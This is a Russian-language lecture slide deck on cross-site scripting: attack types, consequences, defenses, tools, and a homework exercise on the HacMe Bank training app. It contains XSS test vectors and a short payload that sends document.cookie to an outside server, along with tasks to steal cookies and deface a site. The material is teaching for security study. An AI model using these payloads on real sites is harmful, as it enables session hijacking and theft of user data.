Открыть Электронные книги
Категории
Открыть Аудиокниги
Категории
Открыть Журналы
Категории
Открыть Документы
Категории
безопасности
Уязвимости в веб-приложениях
Часть II: XSS
Making things clear
Терминология
XSS (Cross-site Scripting) – это название атаки
недостаток: возможность внедрения кода,
интерпретируемого на клиенте
причина: некорректное экранирование вывода
Возможные последствия
нарушение конфиденциальности/целостности данных
кража пользовательских сеансов, кража данных из форм
модификация данных на «лету», deface сайта
нарушение целостности операций сайта
перенаправление пользователей на другие ресурсы
эксплуатация уязвимостей в браузерах пользователей
Обычный XSS
Eng: reflected или non-persistent
• Модуль генерирует
страницу, в которую
помещает данные из HTTP-
запроса
• Структура HTTP-запроса
для реализации атаки:
GET /script?q=url-enc-js
Host: vulnerable-server
• Остается вынудить жертву
перейти по «зараженной»
ссылке
Межмодульный XSS
Eng: stored или persistent
XSS на стороне клиента
Eng: DOM-based XSS
<body>
…
Select your language:
<select><script>
document.write("<OPTION value=1>" +
document.location.href.substring(document.location.href.indexOf("defa
ult=")+8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script></select>
…
</body>
http:/server/page?default=<script>alert(document.cookie)</script>
Меры противодействия
На стороне сервера
следует различать контексты вывода
в содержимое тега, в значение атрибута, в значение
переменной JS, в определение CSS-стиля, в URL
экранирование вывода
https://www.owasp.org/index.php/
XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
нельзя использовать черные списки!!!
На стороне клиента
отключение JS
NoScript
Снижение ущерба (browser security)
флаг HttpOnly в cookies
Подтверждение XSS
Базовые векторы
<script>alert(1)</script>
‘><script>alert(1)</script>
“><script>alert(1)</script>
“ on[event]=“javascript:alert(1)
Больше на http://ha.ckers.org/xss.html
Для гурманов: http://html5sec.org/
Простейшая эксплуатация:
"><script>var img=new Image();
img.src="http://server/" + escape(document.cookie); </script>
Demo: обнаруживаем XSS
Инструменты
Обнаружение
XSSRays (расширение для Google Chrome)
Burp Suite
Fiddler + Watcher + X5S
Эксплуатация
веб-сервер + скрипт на любимом языке
Shell of the Future
http://www.andlabs.org/tools.html
Домашнее задание
Напишите и разверните на локальном веб-
сервере скрипт для протоколирования cookie
Установите HacMe Bank v2 и найдите там XSS
используйте XSS для кражи cookie
используйте XSS для deface’а сайта
* внедрите Shell of the Future
Ссылки:
Книга «XSS Attacks: Cross Site Scripting Exploits and
Defense»
Вопросы?